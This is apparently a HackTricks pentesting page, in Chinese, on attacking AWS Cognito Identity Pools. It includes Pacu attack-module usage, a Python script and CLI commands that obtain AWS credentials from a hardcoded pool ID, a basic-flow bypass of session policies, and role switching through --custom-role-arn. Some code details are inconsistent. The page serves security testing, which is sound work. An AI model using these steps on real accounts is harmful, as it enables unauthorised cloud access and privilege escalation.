Cognito Identity Pools

支持 HackTricks

基本信息

身份池在使用户能够获取临时凭证方面发挥着至关重要的作用。这些凭证对于访问各种 AWS 服务至关重要,包括但不限于 Amazon S3 和 DynamoDB。身份池的一个显著特点是它们支持匿名访客用户和多种身份提供者进行用户身份验证。支持的身份提供者包括:

  • Amazon Cognito 用户池

  • 社交登录选项,如 Facebook、Google、使用 Amazon 登录和使用 Apple 登录

  • 符合 OpenID Connect (OIDC) 的提供者

  • SAML (安全声明标记语言) 身份提供者

  • 开发者认证身份

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

要生成身份池会话,您首先需要生成身份 ID。这个身份 ID 是该用户会话的标识。这些标识可以有多达 20 个数据集,可以存储多达 1MB 的键值对。

这对于保持用户信息(将始终使用相同的身份 ID)是有用的

此外,服务cognito-sync是允许管理和同步这些信息(在数据集中,发送流中的信息和 SNS 消息等)的服务。

Tools for pentesting

  • Pacu,AWS 利用框架,现在包括“cognito__enum”和“cognito__attack”模块,这些模块自动枚举帐户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,并且还自动创建用户(包括 MFA 支持)和基于可修改自定义属性的权限提升、可用的身份池凭证、可假设的角色在 ID 令牌中等。

有关模块功能的描述,请参见博客文章的第 2 部分。有关安装说明,请参见主 Pacu 页面。

Usage

示例 cognito__attack 用法,尝试在给定身份池和用户池客户端上创建用户和所有权限提升向量:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

示例 cognito__enum 用法,以收集当前 AWS 账户中可见的所有用户池、用户池客户端、身份池、用户等:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括不必要的账户创建和身份池升级。

安装

$ pip install cognito-scanner

使用

$ cognito-scanner --help

有关更多信息,请查看 https://github.com/padok-team/cognito-scanner

访问 IAM 角色

未认证

攻击者需要知道的唯一信息是 在 Cognito 应用中获取 AWS 凭证身份池 ID,并且此 ID 必须硬编码 在 web/mobile 应用程序 中以供使用。ID 看起来像这样:eu-west-1:098e5341-8364-038d-16de-1865e435da3b(无法通过暴力破解)。

通过创建的 IAM Cognito 未认证角色默认称为 Cognito_<Identity Pool name>Unauth_Role

如果您发现一个硬编码的身份池 ID 并且它允许未认证用户,您可以使用以下方法获取 AWS 凭证:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

或者你可以使用以下 aws cli 命令

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

请注意,默认情况下,未经身份验证的 cognito 用户无法拥有任何权限,即使通过策略分配了权限。请查看以下部分。

增强与基本身份验证流程

上一部分遵循了 默认增强身份验证流程。此流程为生成的 IAM 角色会话设置了 限制性 会话策略。该策略仅允许会话 使用此列表中的服务(即使该角色可以访问其他服务)。

然而,如果 身份池启用了“基本(经典)流程”,则有一种方法可以绕过此限制,用户将能够使用该流程获取会话,而该会话 将没有限制性会话策略

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

如果您收到此错误,则是因为基本流程未启用(默认)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

拥有一组IAM凭证后,您应该检查您拥有的访问权限并尝试提升权限

已认证

请记住,已认证用户可能会被授予不同的权限,因此如果您可以在应用程序内注册,请尝试这样做并获取新凭证。

对于访问身份池的已认证用户,可能还有角色可用。

为此,您可能需要访问身份提供者。如果是Cognito用户池,也许您可以利用默认行为自己创建一个新用户

通过创建的IAM Cognito认证角色默认称为 Cognito_<Identity Pool name>Auth_Role

无论如何,以下示例假设您已经登录到用于访问身份池的Cognito用户池(不要忘记其他类型的身份提供者也可能被配置)。

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 从上一个命令响应中获取identity_id
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# 在IdToken中,您可以找到用户因用户池组而拥有的角色
# 使用 --custom-role-arn 获取特定角色的凭证
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

可以根据用户登录的身份提供者或甚至根据用户(使用声明)配置不同的IAM角色。因此,如果您通过相同或不同的提供者访问不同的用户,登录并访问他们所有的IAM角色可能是值得的

支持HackTricks

Last updated